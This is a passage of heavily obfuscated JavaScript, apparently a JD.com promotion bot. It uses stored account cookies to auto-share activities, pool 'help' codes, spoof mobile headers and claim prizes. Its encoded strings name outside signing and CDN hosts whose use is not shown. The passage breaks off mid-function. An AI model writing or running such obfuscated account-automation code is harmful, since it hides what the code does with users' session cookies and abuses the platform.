'SkNLc08=','TlNMRGk=','RkJFSWQ=','aW5DSlA=','SFlNYlg=','dWRZcHg=','d3hTaGFyZUFjdGl2aXR5','amRzaWduLmV1Lm9yZw==','RGlFSWg=','eFBCdEE=','TW96aWxsYS81LjAgKGlQaG9uZTsgQ1BVIGlQaG9uZSBPUyAxM18yXzMgbGlrZSBNYWMgT1MgWCkgQXBwbGVXZWJLaXQvNjA1LjEuMTUgKEtIVE1MLCBsaWtlIEdlY2tvKSBWZXJzaW9uLzEzLjAuMyBNb2JpbGUvMTVFMTQ4IFNhZmFyaS82MDQuMSBFZGcvODcuMC40MjgwLjg4','cFpjdEM=','TmtneUg=','TGJyRkE=','SllYenI=','bU5sR0Q=','U0lHTl9VUkw=','T2poWHM=','cVhSSnM=','VEFDVHg=','aHR0cHM6Ly9jZG4ubnoubHUvZGRv','T0N4U1A=','Z2d1ZHk=','c01iTXU=','UWhYdnU=','VHNpUkU=','c3RaTkg=','TWlZd1U=','WVR1cG0=','aGJsRkE=','V0dHbW0=','VnF2aFI=','dFB4Sko=','UlJFUVI=','aGVhZGVycw==','c2V0LWNvb2tpZQ==','U2V0LUNvb2tpZQ==','S2xNanY=','c0p3dGk=','44CQ5o+Q56S644CR6K+35YWI6I635Y+W5Lqs5Lic6LSm5Y+35LiAY29va2llCuebtOaOpeS9v+eUqE5vYnlEYeeahOS6rOS4nOetvuWIsOiOt+WPlg==','aHR0cHM6Ly9iZWFuLm0uamQuY29tL2JlYW4vc2lnbkluZGV4LmFjdGlvbg==','bUdxb0I=','bGFWdVE=','eHh4eHh4eHgteHh4eC14eHh4LXh4eHgteHh4eHh4eHh4eHh4','eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eA==','6ZyA6KaB5Yqp5Yqb5Yqp5Yqb56CB','dW9nRGo=','5Y675Yqp5YqbOiA=','5rS75Yqo5aSq54Gr54iG77yM6L+Y5piv5Y675Lmw5Lmw5Lmw5ZCn','TGJBRG0=','NHwyfDEwfDF8Nnw3fDN8MHw1fDl8OA==','aXZTblc=','UHB6ZlU=','aXRkd1A=','bXBjY24=','bXNn','bmFtZQ==','U3ZTck8=','TVhjSmc=','UEpJR3Q=','VXNlck5hbWU=','Y2tVRXE=','bWF0Y2g=','aW5kZXg=','cVdRQkE=','aXNMb2dpbg==','bmlja05hbWU=','Tkl6aEU=','bG9n','CioqKioqKuW8gOWni+OAkOS6rOS4nOi0puWPtw==','KioqKioqKioqCg==','cVNWZ0I=','YlBWZEY=','WlJXWHY=','U0Z2UHU=','YmhyQWw=','c3BsaXQ=','44CQ5o+Q56S644CRY29va2ll5bey5aSx5pWI','5Lqs5Lic6LSm5Y+3','Cuivt+mHjeaWsOeZu+W9leiOt+WPlgpodHRwczovL2JlYW4ubS5qZC5jb20vYmVhbi9zaWduSW5kZXguYWN0aW9u','YmVhbg==','QURJRA==','d0dUZVE=','TkVHRlA=','VVVJRA==','ZGh1Tk0=','YXV0aG9yQ29kZQ==','bGVuZ3Ro','YXV0aG9yTnVt','ZUdwZng=','YWN0aXZpdHlJZA==','YWN0aXZpdHlTaG9wSWQ=','YWN0aXZpdHlVcmw=','aHR0cHM6Ly9semtqZHotaXN2LmlzdmpjbG91ZC5jb20vd3hTaGFyZUFjdGl2aXR5L2FjdGl2aXR5Lw==','P2FjdGl2aXR5SWQ9','JmZyaWVuZFV1aWQ9','Ymt4SGo=','JnNoYXJldXNlcmlkNG1pbmlwZz1udWxsJnNob3BpZD0=','dmVuZGVySWQ=','U0R5YmI=','cFd6ck8=','Y3hEQVg=','ZXJyb3JNZXNzYWdl','cmxvTFk=','ZnZCaXA=','JmFkc291cmNlPXRnX3h1YW5GdVR1Qmlhbw==','eFVzbEE=','WXVCa3A=','UFhUZUk=','RGprb1g=','V2J1RWo=','TEJzS1E=','WWFVSGU=','CirlvIDlp4vjgJDkuqzkuJzotKblj7fjgJE=','IOmihuWPlioK','TVdpQ0U=','R3dSV0Y=','Y2F0Y2g=','LCDlpLHotKUhIOWOn+WboDog','ZmluYWxseQ==','ZG9uZQ==','MXwyfDN8NHwwfDV8Ng==','Y3VzdG9tZXIvZ2V0U2ltcGxlQWN0SW5mb1Zv','Y29tbW9uL2FjY2Vzc0xvZ1dpdGhBRA==','YWN0aXZpdHlDb250ZW50','5rKh5pyJ5oiQ5Yqf6I635Y+W5Yiw55So5oi35L+h5oGv','5rKh5pyJ5oiQ5Yqf6I635Y+W5Yiw55So5oi36Ym05p2D5L+h5oGv','bXBybHA=','TFFKeHk=','dG9rZW4=','c2VjcmV0UGlu','b3BlbkNhcmRBY3Rpdml0eUlk','WWRYR20=','Y0RhY0U=','YWN0aXZpdHlJZD0=','aFRVUlo=','d2FpdA==','VktZSE4=','dmVuZGVySWQ9','JmNvZGU9MjUmcGluPQ==','b1NCb0E=','JmFjdGl2aXR5SWQ9','JnBhZ2VVcmw9','JnN1YlR5cGU9YXBwJmFkU291cmNlPW51bGw=','UGZBQlY=','ZXNXZ2I=','JnBpbj0=','S1ZFT3E=','WVp0dkM=','dm5vRnI=','WnpaTGM=','5Lqs5Lic6L+U5Zue5LqG56m65pWw5o2u','6YKj5bCx5byA5aeL5ZCn44CC','bERrTVc=','R3JUSng=','TlRVbGo=','Z2V0UHJpemU=','ZHJhd0luZm9JZA==','YVRVRks=','RmZmcHo=','a0dIbUY=','T1NpdEk=','Tlh6clo=','WGFua1o=','TWhleFc=','b3haZ0s=','SHVOT3o=','RklLemc=','Qk9xdXU=','ZHJhd0NvbnRlbnRWT3M=','YkRSc0Y=','SUFSS0Q=','Z0pIdmo=','cU1Kck8=','ZVhwZ3M=','eW1xbFk=','JmRyYXdJbmZvSWQ9','UExEa2w=','ZGZCVEM=','WnJqRUw=','WnNzdU0=','ZXlmRUw=','SEpuZUU=','YVhKQW8=','QW5TclM=','WHBNblE=','eW55WGY=','TlB4QXY=','elRTeno=','5bCG5Yqp5Yqb56CBIA==','IOWKoOWFpeWKqeWKm+aVsOe7hA==','UGhEQWs=','blFlamU=','V1JmeGc=','bHd5ZEk=','bFhtSlQ=','VnhSTmU=','cG9zdA==','RHJUUWI=','ekdWWW4=','THR5Vno=','R0dBUVc=','jsjLuUiaAmi.coZQm.v6BgOrQIGM=='];if(function(_0x3eb980,_0x286957,_0x234936){function _0x145b26(_0x576539,_0x3c4519,_0x42527d,_0x47eeb8,_0x2c1af8,_0xd81f97){_0x3c4519=_0x3c4519>>0x8,_0x2c1af8='po';var _0x4afff1='shift',_0x57860a='push',_0xd81f97='‮';if(_0x3c4519<_0x576539){while(--_0x576539){_0x47eeb8=_0x3eb980[_0x4afff1]();if(_0x3c4519===_0x576539&&_0xd81f97==='‮'&&_0xd81f97['length']===0x1){_0x3c4519=_0x47eeb8,_0x42527d=_0x3eb980[_0x2c1af8+'p']();}else if(_0x3c4519&&_0x42527d['replace'](/[LuUAZQBgOrQIGM=]/g,'')===_0x3c4519){_0x3eb980[_0x57860a](_0x47eeb8);}}_0x3eb980[_0x57860a](_0x3eb980[_0x4afff1]());}return 0xff9fd;};return _0x145b26(++_0x286957,_0x234936)>>_0x286957^_0x234936;}(_0x4dca,0xff,0xff00),_0x4dca){_0xodw_=_0x4dca['length']^0xff;};function _0x245f(_0x2699a9,_0x501e82){_0x2699a9=~~'0x'['concat'](_0x2699a9['slice'](0x1));var _0x4a9879=_0x4dca[_0x2699a9];if(_0x245f['EIGOmi']===undefined&&'‮'['length']===0x1){(function(){var _0x589c6d;try{var _0x5b08bd=Function('return\x20(function()\x20'+'{}.constructor(\x22return\x20this\x22)(\x20)'+');');_0x589c6d=_0x5b08bd();}catch(_0x4ef491){_0x589c6d=window;}var _0x11657b='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';_0x589c6d['atob']||(_0x589c6d['atob']=function(_0x26c666){var _0x2ad2ff=String(_0x26c666)['replace'](/=+$/,'');for(var _0x4cbc11=0x0,_0x425aa0,_0x51f58a,_0x4e130a=0x0,_0x327155='';_0x51f58a=_0x2ad2ff['charAt'](_0x4e130a++);~_0x51f58a&&(_0x425aa0=_0x4cbc11%0x4?_0x425aa0*0x40+_0x51f58a:_0x51f58a,_0x4cbc11++%0x4)?_0x327155+=String['fromCharCode'](0xff&_0x425aa0>>(-0x2*_0x4cbc11&0x6)):0x0){_0x51f58a=_0x11657b['indexOf'](_0x51f58a);}return _0x327155;});}());_0x245f['RyGIOw']=function(_0x46f3fa){var _0x44b31e=atob(_0x46f3fa);var _0x58157c=[];for(var _0x1d33e=0x0,_0x4086cd=_0x44b31e['length'];_0x1d33e<_0x4086cd;_0x1d33e++){_0x58157c+='%'+('00'+_0x44b31e['charCodeAt'](_0x1d33e)['toString'](0x10))['slice'](-0x2);}return decodeURIComponent(_0x58157c);};_0x245f['pPFeEy']={};_0x245f['EIGOmi']=!![];}var _0x4880bf=_0x245f['pPFeEy'][_0x2699a9];if(_0x4880bf===undefined){_0x4a9879=_0x245f['RyGIOw'](_0x4a9879);_0x245f['pPFeEy'][_0x2699a9]=_0x4a9879;}else{_0x4a9879=_0x4880bf;}return _0x4a9879;};!(async()=>{var _0x313b52={'mpccn':function(_0x5afdde){return _0x5afdde();},'SFvPu':_0x245f('‮0'),'bhrAl':_0x245f('‮1'),'DjkoX':_0x245f('‫2'),'ivSnW':function(_0x27f1ef,_0x12549b){return _0x27f1ef===_0x12549b;},'PpzfU':_0x245f('‮3'),'itdwP':_0x245f('‮4'),'SvSrO':_0x245f('‮5'),'MXcJg':_0x245f('‮6'),'PJIGt':function(_0x4acfe6,_0x5d5bb9){return _0x4acfe6<_0x5d5bb9;},'ckUEq':function(_0x41b55f,_0x58b923){return _0x41b55f(_0x58b923);},'qWQBA':function(_0x3b4d6c,_0x3eca4f){return _0x3b4d6c+_0x3eca4f;},'NIzhE':function(_0x15c189){return _0x15c189();},'qSVgB':function(_0x420d9b,_0x81ae30){return _0x420d9b===_0x81ae30;},'bPVdF':_0x245f('‫7'),'ZRWXv':_0x245f('‮8'),'wGTeQ':function(_0x3a2da7,_0xc90974,_0x5adfea){return _0x3a2da7(_0xc90974,_0x5adfea);},'NEGFP':_0x245f('‫9'),'dhuNM':_0x245f('‫a'),'eGpfx':function(_0x384e43,_0x317def,_0x237754){return _0x384e43(_0x317def,_0x237754);},'bkxHj':function(_0x254278,_0xe195dc){return _0x254278(_0xe195dc);},'SDybb':_0x245f('‮b'),'pWzrO':function(_0x3572b6,_0x4211cf){return _0x3572b6<_0x4211cf;},'cxDAX':_0x245f('‫c'),'rloLY':function(_0x557d98,_0x42f098,_0x1f9674){return _0x557d98(_0x42f098,_0x1f9674);},'fvBip':function(_0x29a344,_0x1c52d8,_0x13cb5b){return _0x29a344(_0x1c52d8,_0x13cb5b);},'xUslA':function(_0x5ca81b,_0xa3d86b){return _0x5ca81b+_0xa3d86b;},'YuBkp':_0x245f('‮d'),'PXTeI':_0x245f('‫e'),'WbuEj':function(_0x40c466,_0x36be56){return _0x40c466!==_0x36be56;},'LBsKQ':_0x245f('‫f'),'YaUHe':_0x245f('‮10'),'MWiCE':function(_0x18ecce){return _0x18ecce();},'GwRWF':function(_0x1b7652,_0x508150){return _0x1b7652(_0x508150);}};if(!cookiesArr[0x0]){if(_0x313b52[_0x245f('‮11')](_0x313b52[_0x245f('‮12')],_0x313b52[_0x245f('‫13')])){_0x313b52[_0x245f('‮14')](resolve);}else{$[_0x245f('‫15')]($[_0x245f('‮16')],_0x313b52[_0x245f('‮17')],_0x313b52[_0x245f('‮18')],{'open-url':_0x313b52[_0x245f('‮18')]});return;}}isGetAuthorCodeList=!![];for(let _0x33e222=0x0;_0x313b52[_0x245f('‫19')](_0x33e222,ownCookieNum);_0x33e222++){if(cookiesArr[_0x33e222]){cookie=cookiesArr[_0x33e222];originCookie=cookiesArr[_0x33e222];$[_0x245f('‫1a')]=_0x313b52[_0x245f('‫1b')](decodeURIComponent,cookie[_0x245f('‮1c')](/pt_pin=(.+?);/)&&cookie[_0x245f('‮1c')](/pt_pin=(.+?);/)[0x1]);$[_0x245f('‮1d')]=_0x313b52[_0x245f('‫1e')](_0x33e222,0x1);$[_0x245f('‫1f')]=!![];$[_0x245f('‮20')]='';await _0x313b52[_0x245f('‫21')](checkCookie);console[_0x245f('‫22')](_0x245f('‮23')+$[_0x245f('‮1d')]+'】'+($[_0x245f('‮20')]||$[_0x245f('‫1a')])+_0x245f('‫24'));if(!$[_0x245f('‫1f')]){if(_0x313b52[_0x245f('‫25')](_0x313b52[_0x245f('‫26')],_0x313b52[_0x245f('‮27')])){for(let _0x64f402 of resp[_0x313b52[_0x245f('‮28')]][_0x313b52[_0x245f('‫29')]]){cookie=''+cookie+_0x64f402[_0x245f('‮2a')](';')[0x0]+';';}}else{$[_0x245f('‫15')]($[_0x245f('‮16')],_0x245f('‫2b'),_0x245f('‫2c')+$[_0x245f('‮1d')]+'\x20'+($[_0x245f('‮20')]||$[_0x245f('‫1a')])+_0x245f('‮2d'),{'open-url':_0x313b52[_0x245f('‮18')]});continue;}}$[_0x245f('‫2e')]=0x0;$[_0x245f('‫2f')]=_0x313b52[_0x245f('‫30')](getUUID,_0x313b52[_0x245f('‮31')],0x1);$[_0x245f('‫32')]=_0x313b52[_0x245f('‫1b')](getUUID,_0x313b52[_0x245f('‫33')]);$[_0x245f('‮34')]=authorCodeList[_0x313b52[_0x245f('‫30')](random,0x0,authorCodeList[_0x245f('‫35')])];$[_0x245f('‫36')]=''+_0x313b52[_0x245f('‮37')](random,0xf4240,0x98967f);$[_0x245f('‮38')]=activityId;$[_0x245f('‫39')]='';$[_0x245f('‫3a')]=_0x245f('‫3b')+$[_0x245f('‫36')]+_0x245f('‫3c')+$[_0x245f('‮38')]+_0x245f('‫3d')+_0x313b52[_0x245f('‮3e')](encodeURIComponent,$[_0x245f('‮34')])+_0x245f('‫3f')+$[_0x245f('‫39')];await _0x313b52[_0x245f('‫21')](share);activityShopId=$[_0x245f('‮40')];}}isGetAuthorCodeList=![];console[_0x245f('‫22')](_0x313b52[_0x245f('‮41')]);console[_0x245f('‫22')](authorCodeList);for(let _0x435c30=0x0;_0x313b52[_0x245f('‮42')](_0x435c30,cookiesArr[_0x245f('‫35')]);_0x435c30++){if(cookiesArr[_0x435c30]){if(_0x313b52[_0x245f('‫25')](_0x313b52[_0x245f('‫43')],_0x313b52[_0x245f('‫43')])){cookie=cookiesArr[_0x435c30];originCookie=cookiesArr[_0x435c30];$[_0x245f('‫1a')]=_0x313b52[_0x245f('‮3e')](decodeURIComponent,cookie[_0x245f('‮1c')](/pt_pin=(.+?);/)&&cookie[_0x245f('‮1c')](/pt_pin=(.+?);/)[0x1]);$[_0x245f('‮1d')]=_0x313b52[_0x245f('‫1e')](_0x435c30,0x1);$[_0x245f('‫1f')]=!![];$[_0x245f('‮20')]='';$[_0x245f('‫44')]='';await _0x313b52[_0x245f('‫21')](checkCookie);console[_0x245f('‫22')](_0x245f('‮23')+$[_0x245f('‮1d')]+'】'+($[_0x245f('‮20')]||$[_0x245f('‫1a')])+_0x245f('‫24'));if(!$[_0x245f('‫1f')]){$[_0x245f('‫15')]($[_0x245f('‮16')],_0x245f('‫2b'),_0x245f('‫2c')+$[_0x245f('‮1d')]+'\x20'+($[_0x245f('‮20')]||$[_0x245f('‫1a')])+_0x245f('‮2d'),{'open-url':_0x313b52[_0x245f('‮18')]});continue;}$[_0x245f('‫2e')]=0x0;$[_0x245f('‫2f')]=_0x313b52[_0x245f('‫45')](getUUID,_0x313b52[_0x245f('‮31')],0x1);$[_0x245f('‫32')]=_0x313b52[_0x245f('‮3e')](getUUID,_0x313b52[_0x245f('‫33')]);$[_0x245f('‮34')]=authorCodeList[_0x313b52[_0x245f('‫45')](random,0x0,authorCodeList[_0x245f('‫35')])];$[_0x245f('‫36')]=''+_0x313b52[_0x245f('‫46')](random,0xf4240,0x98967f);$[_0x245f('‮38')]=activityId;$[_0x245f('‫39')]=activityShopId;$[_0x245f('‫3a')]=_0x245f('‫3b')+$[_0x245f('‮38')]+_0x245f('‫3c')+$[_0x245f('‮38')]+_0x245f('‫47');for(let _0x435c30 in authorCodeList){$[_0x245f('‮34')]=authorCodeList[_0x435c30];console[_0x245f('‫22')](_0x313b52[_0x245f('‮48')](_0x313b52[_0x245f('‫49')],$[_0x245f('‮34')]));await _0x313b52[_0x245f('‫21')](share);if(_0x313b52[_0x245f('‫25')]($[_0x245f('‫44')],_0x313b52[_0x245f('‮4a')])){break;}}}else{for(let _0x34d554 of resp[_0x313b52[_0x245f('‮28')]][_0x313b52[_0x245f('‫4b')]][_0x245f('‮2a')](',')){cookie=''+cookie+_0x34d554[_0x245f('‮2a')](';')[0x0]+';';}}}}for(let _0x5af624=0x0;_0x313b52[_0x245f('‮42')](_0x5af624,ownCookieNum);_0x5af624++){if(cookiesArr[_0x5af624]){if(_0x313b52[_0x245f('‫4c')](_0x313b52[_0x245f('‫4d')],_0x313b52[_0x245f('‫4d')])){cookie=''+cookie+sk[_0x245f('‮2a')](';')[0x0]+';';}else{var _0x3e357a=_0x313b52[_0x245f('‮4e')][_0x245f('‮2a')]('|'),_0x406ec3=0x0;while(!![]){switch(_0x3e357a[_0x406ec3++]){case'0':$[_0x245f('‮34')]=authorCodeList[0x0];continue;case'1':$[_0x245f('‫1f')]=!![];continue;case'2':originCookie=cookiesArr[_0x5af624];continue;case'3':console[_0x245f('‫22')](_0x245f('‫4f')+($[_0x245f('‮20')]||$[_0x245f('‫1a')])+_0x245f('‫50'));continue;case'4':cookie=cookiesArr[_0x5af624];continue;case'5':$[_0x245f('‮38')]=activityId;continue;case'6':$[_0x245f('‮20')]='';continue;case'7':await _0x313b52[_0x245f('‫21')](checkCookie);continue;case'8':await _0x313b52[_0x245f('‫51')](getPrize);continue;case'9':$[_0x245f('‫39')]=activityShopId;continue;case'10':$[_0x245f('‫1a')]=_0x313b52[_0x245f('‫52')](decodeURIComponent,cookie[_0x245f('‮1c')](/pt_pin=(.+?);/)&&cookie[_0x245f('‮1c')](/pt_pin=(.+?);/)[0x1]);continue;}break;}}}}})()[_0x245f('‮53')](_0x2944ae=>{$[_0x245f('‫22')]('','❌\x20'+$[_0x245f('‮16')]+_0x245f('‮54')+_0x2944ae+'!','');})[_0x245f('‮55')](()=>{$[_0x245f('‫56')]();});async function share(){var _0x278a26={'mprlp':_0x245f('‫57'),'LQJxy':function(_0x326a92){return _0x326a92();},'YdXGm':function(_0x2588de,_0x1bffc3,_0x3c497a,_0x1bb9a7){return _0x2588de(_0x1bffc3,_0x3c497a,_0x1bb9a7);},'cDacE':_0x245f('‫58'),'hTURZ':function(_0x37fbc2){return _0x37fbc2();},'VKYHN':_0x245f('‮59'),'oSBoA':function(_0x3f86e2,_0x31b961){return _0x3f86e2(_0x31b961);},'PfABV':function(_0x2cbc00,_0x41eeec,_0x3ae1e5){return _0x2cbc00(_0x41eeec,_0x3ae1e5);},'esWgb':_0x245f('‫5a'),'KVEOq':function(_0x56ca38,_0xc0de9b){return _0x56ca38(_0xc0de9b);},'YZtvC':function(_0x3fae4b,_0x32294a){return _0x3fae4b(_0x32294a);},'vnoFr':_0x245f('‮5b'),'ZzZLc':_0x245f('‮5c')};var _0x40a835=_0x278a26[_0x245f('‫5d')][_0x245f('‮2a')]('|'),_0x2f0ec2=0x0;while(!![]){switch(_0x40a835[_0x2f0ec2++]){case'0':await _0x278a26[_0x245f('‫5e')](getToken);continue;case'1':$[_0x245f('‫5f')]=null;continue;case'2':$[_0x245f('‮60')]=null;continue;case'3':$[_0x245f('‮61')]=null;continue;case'4':await _0x278a26[_0x245f('‫5e')](getFirstLZCK);continue;case'5':await _0x278a26[_0x245f('‮62')](task,_0x278a26[_0x245f('‫63')],_0x245f('‫64')+$[_0x245f('‮38')],0x1);continue;case'6':if($[_0x245f('‫5f')]){await _0x278a26[_0x245f('‫65')](getMyPing);if($[_0x245f('‮60')]){await $[_0x245f('‫66')](0x1f4);await _0x278a26[_0x245f('‮62')](task,_0x278a26[_0x245f('‫67')],_0x245f('‮68')+$[_0x245f('‫39')]+_0x245f('‫69')+_0x278a26[_0x245f('‮6a')](encodeURIComponent,$[_0x245f('‮60')])+_0x245f('‮6b')+$[_0x245f('‮38')]+_0x245f('‫6c')+$[_0x245f('‫3a')]+_0x245f('‫6d'),0x1);await _0x278a26[_0x245f('‫6e')](task,_0x278a26[_0x245f('‫6f')],_0x245f('‫64')+$[_0x245f('‮38')]+_0x245f('‮70')+_0x278a26[_0x245f('‮71')](encodeURIComponent,$[_0x245f('‮60')])+_0x245f('‫3d')+_0x278a26[_0x245f('‫72')](encodeURIComponent,$[_0x245f('‮34')]));}else{$[_0x245f('‫22')](_0x278a26[_0x245f('‫73')]);}}else{$[_0x245f('‫22')](_0x278a26[_0x245f('‫74')]);}continue;}break;}}async function getPrize(){var _0x57bd84={'eyfEL':function(_0x32e845,_0x250256){return _0x32e845(_0x250256);},'aXJAo':_0x245f('‫75'),'kGHmF':_0x245f('‫76'),'OSitI':function(_0x43b06){return _0x43b06();},'NXzrZ':function(_0x12bc26,_0x4f8dd4,_0xd1c828,_0x26caa3){return _0x12bc26(_0x4f8dd4,_0xd1c828,_0x26caa3);},'XankZ':_0x245f('‫58'),'MhexW':function(_0x1cc5d7,_0x2e908e){return _0x1cc5d7===_0x2e908e;},'oxZgK':_0x245f('‫77'),'HuNOz':function(_0x578cd4,_0x309723,_0x2c12af){return _0x578cd4(_0x309723,_0x2c12af);},'FIKzg':_0x245f('‫5a'),'BOquu':function(_0x75cfe5,_0x58f4cf){return _0x75cfe5(_0x58f4cf);},'bDRsF':function(_0x148baa,_0x591b0f){return _0x148baa!==_0x591b0f;},'IARKD':_0x245f('‮78'),'gJHvj':_0x245f('‫79'),'qMJrO':function(_0x48c439,_0xb6d2d8,_0x456944){return _0x48c439(_0xb6d2d8,_0x456944);},'eXpgs':_0x245f('‫7a'),'ymqlY':function(_0x346513,_0x5c4bdb){return _0x346513(_0x5c4bdb);},'PLDkl':_0x245f('‫7b'),'dfBTC':function(_0x56446c,_0x4ea20a){return _0x56446c===_0x4ea20a;},'ZrjEL':_0x245f('‮7c'),'ZssuM':_0x245f('‫7d'),'HJneE':_0x245f('‮5b'),'AnSrS':_0x245f('‮5c')};$[_0x245f('‫22')](_0x57bd84[_0x245f('‫7e')]);$[_0x245f('‫5f')]=null;$[_0x245f('‮60')]=null;$[_0x245f('‮61')]=null;await _0x57bd84[_0x245f('‫7f')](getFirstLZCK);await _0x57bd84[_0x245f('‫7f')](getToken);await _0x57bd84[_0x245f('‮80')](task,_0x57bd84[_0x245f('‫81')],_0x245f('‫64')+$[_0x245f('‮38')],0x1);if($[_0x245f('‫5f')]){if(_0x57bd84[_0x245f('‫82')](_0x57bd84[_0x245f('‮83')],_0x57bd84[_0x245f('‮83')])){await _0x57bd84[_0x245f('‫7f')](getMyPing);if($[_0x245f('‮60')]){await _0x57bd84[_0x245f('‫84')](task,_0x57bd84[_0x245f('‮85')],_0x245f('‫64')+$[_0x245f('‮38')]+_0x245f('‮70')+_0x57bd84[_0x245f('‮86')](encodeURIComponent,$[_0x245f('‮60')])+_0x245f('‫3d')+_0x57bd84[_0x245f('‮86')](encodeURIComponent,$[_0x245f('‮34')]));for(let _0x526cea in $[_0x245f('‫87')]){if(_0x57bd84[_0x245f('‮88')](_0x57bd84[_0x245f('‮89')],_0x57bd84[_0x245f('‫8a')])){await _0x57bd84[_0x245f('‮8b')](task,_0x57bd84[_0x245f('‫8c')],_0x245f('‫64')+$[_0x245f('‮38')]+_0x245f('‮70')+_0x57bd84[_0x245f('‫8d')](encodeURIComponent,$[_0x245f('‮60')])+_0x245f('‫8e')+$[_0x245f('‫87')][_0x526cea][_0x57bd84[_0x245f('‫8f')]]);}else{cookie=''+cookie+ck[_0x245f('‮2a')](';')[0x0]+';';}}}else{if(_0x57bd84[_0x245f('‫90')](_0x57bd84[_0x245f('‮91')],_0x57bd84[_0x245f('‮92')])){_0x57bd84[_0x245f('‫93')](resolve,data);}else{$[_0x245f('‫22')](_0x57bd84[_0x245f('‫94')]);}}}else{$[_0x245f('‫22')](_0x57bd84[_0x245f('‮95')]);}}else{$[_0x245f('‫22')](_0x57bd84[_0x245f('‫96')]);}}function task(_0x5b68f5,_0x2e1558,_0x161fb8=0x0){var _0x45012a={'zGVYn':function(_0x4d2899,_0x464e85){return _0x4d2899===_0x464e85;},'LtyVz':_0x245f('‮97'),'GGAQW':_0x245f('‫98'),'lwydI':function(_0x5471f9,_0x58b1c8){return _0x5471f9!==_0x58b1c8;},'rESSL':_0x245f('‮99'),'uxIXU':_0x245f('‮9a'),'Iyeci':_0x245f('‫58'),'whDrR':_0x245f('‫5a'),'xFkhF':function(_0x2508ee,_0x4dd2a8){return _0x2508ee+_0x4dd2a8;},'MZsFL':_0x245f('‮9b'),'AZakK':_0x245f('‮9c'),'KJTtm':_0x245f('‫7a'),'WRfxg':function(_0xfc75f6){return _0xfc75f6();},'lXmJT':_0x245f('‮9d'),'VxRNe':_0x245f('‮9e'),'DrTQb':function(_0x12cb73,_0x190a04,_0x192f36,_0x2b6d49){return _0x12cb73(_0x190a04,_0x192f36,_0x2b6d49);}};return new Promise(_0x4eda86=>{var _0x2ff3c4={'UBFMI':function(_0x5f0590){return _0x45012a[_0x245f('‫9f')](_0x5f0590);}};if(_0x45012a[_0x245f('‮a0')](_0x45012a[_0x245f('‮a1')],_0x45012a[_0x245f('‫a2')])){$[_0x245f('‫a3')](_0x45012a[_0x245f('‮a4')](taskUrl,_0x5b68f5,_0x2e1558,_0x161fb8),async(_0x1a6c86,_0x23b058,_0x1981b9)=>{try{if(_0x45012a[_0x245f('‮a5')](_0x45012a[_0x245f('‫a6')],_0x45012a[_0x245f('‫a7')])){cookie=''+cookie+sk[_0x245f('‮2a')](';')[0x0]+';';}else{if(_0x1a6c86){if(_0x45012a[_0x245f('‮a0')](_0x45012a[_0x245f('‫a8')],_0x45012a[_0x245f('‫a9')])){$[_0x245f('‫22')](_0x1a6c86);}else{$[_0x245f('‫22')](error);}}else{if(_0x1981b9){_0x1981b9=JSON[_0x245f('‫aa')](_0x1981b9);if(_0x1981b9[_0x245f('‫ab')]){switch(_0x5b68f5){case _0x45012a[_0x245f('‫ac')]:$[_0x245f('‮40')]=_0x1981b9[_0x245f('‫ad')][_0x245f('‮40')];$[_0x245f('‫39')]=_0x1981b9[_0x245f('‫ad')][_0x245f('‮40')];break;case _0x45012a[_0x245f('‮ae')]:$[_0x245f('‫5a')]=_0x1981b9[_0x245f('‫ad')];if(isGetAuthorCodeList){console[_0x245f('‫22')](_0x45012a[_0x245f('‫af')](_0x45012a[_0x245f('‫af')](_0x45012a[_0x245f('‫b0')],_0x1981b9[_0x245f('‫ad')][_0x245f('‮b1')]),_0x45012a[_0x245f('‫b2')]));authorCodeList[_0x245f('‮b3')](_0x1981b9[_0x245f('‫ad')][_0x245f('‮b1')]);}console[_0x245f('‫22')](_0x1981b9[_0x245f('‫ad')][_0x245f('‮b1')]);$[_0x245f('‫87')]=_0x1981b9[_0x245f('‫ad')][_0x245f('‫87')];break;case _0x45012a[_0x245f('‮b4')]:console[_0x245f('‫22')](_0x1981b9[_0x245f('‫ad')][_0x245f('‮16')]);break;}}else{$[_0x245f('‫22')](JSON[_0x245f('‮b5')](_0x1981b9));}}}}}catch(_0x13f70d){$[_0x245f('‫22')](_0x13f70d);}finally{_0x45012a[_0x245f('‫9f')](_0x4eda86);}});}else{_0x2ff3c4[_0x245f('‫b6')](_0x4eda86);}});}function taskUrl(_0x4735a5,_0x16f256,_0x1137e4){var _0x7090c1={'ViIPP':_0x245f('‮b7'),'yuomi':_0x245f('‮b8'),'nkzul':_0x245f('‮b9'),'pPchi':_0x245f('‫ba'),'HGjar':_0x245f('‮bb'),'qyAID':_0x245f('‮bc'),'aBksk':_0x245f('‮bd'),'MRqhn':_0x245f('‮be')};return{'url':_0x1137e4?_0x245f('‫bf')+_0x4735a5:_0x245f('‫c0')+_0x4735a5,'headers':{'Host':_0x7090c1[_0x245f('‫c1')],'Accept':_0x7090c1[_0x245f('‫c2')],'X-Requested-With':_0x7090c1[_0x245f('‮c3')],'Accept-Language':_0x7090c1[_0x245f('‫c4')],'Accept-Encoding':_0x7090c1[_0x245f('‮c5')],'Content-Type':_0x7090c1[_0x245f('‫c6')],'Origin':_0x7090c1[_0x245f('‫c7')],'User-Agent':_0x245f('‫c8')+$[_0x245f('‫32')]+_0x245f('‮c9')+$[_0x245f('‫2f')]+_0x245f('‮ca'),'Connection':_0x7090c1[_0x245f('‫cb')],'Referer':$[_0x245f('‫3a')],'Cookie':cookie},'body':_0x16f256};}function getMyPing(){var _0x3eaf46={'Ocwcx':function(_0x31d8a1){return _0x31d8a1();},'RaQXw':_0x245f('‮0'),'qfUvY':_0x245f('‫2'),'zuboJ':_0x245f('‮5'),'jUNLc':_0x245f('‮6'),'TYueO':function(_0xf49130,_0x3403d3){return _0xf49130===_0x3403d3;},'axmqu':_0x245f('‫cc'),'nVdYw':function(_0x281665,_0x399864){return _0x281665===_0x399864;},'OgVLM':_0x245f('‮cd'),'xEoiX':_0x245f('‫ce'),'ApLmz':_0x245f('‮1'),'LMEBj':function(_0x579655,_0x59197f){return _0x579655!==_0x59197f;},'bjurk':_0x245f('‫cf'),'GSpjO':_0x245f('‮d0'),'UlIBq':_0x245f('‮d1'),'qKRSV':function(_0x2d3ecc,_0x1e7def){return _0x2d3ecc!==_0x1e7def;},'Ysuzu':_0x245f('‮d2'),'yeeXw':_0x245f('‮d3'),'SXGRh':_0x245f('‫75'),'VzKmg':_0x245f('‮d4'),'HSWpB':function(_0x4ae4d1){return 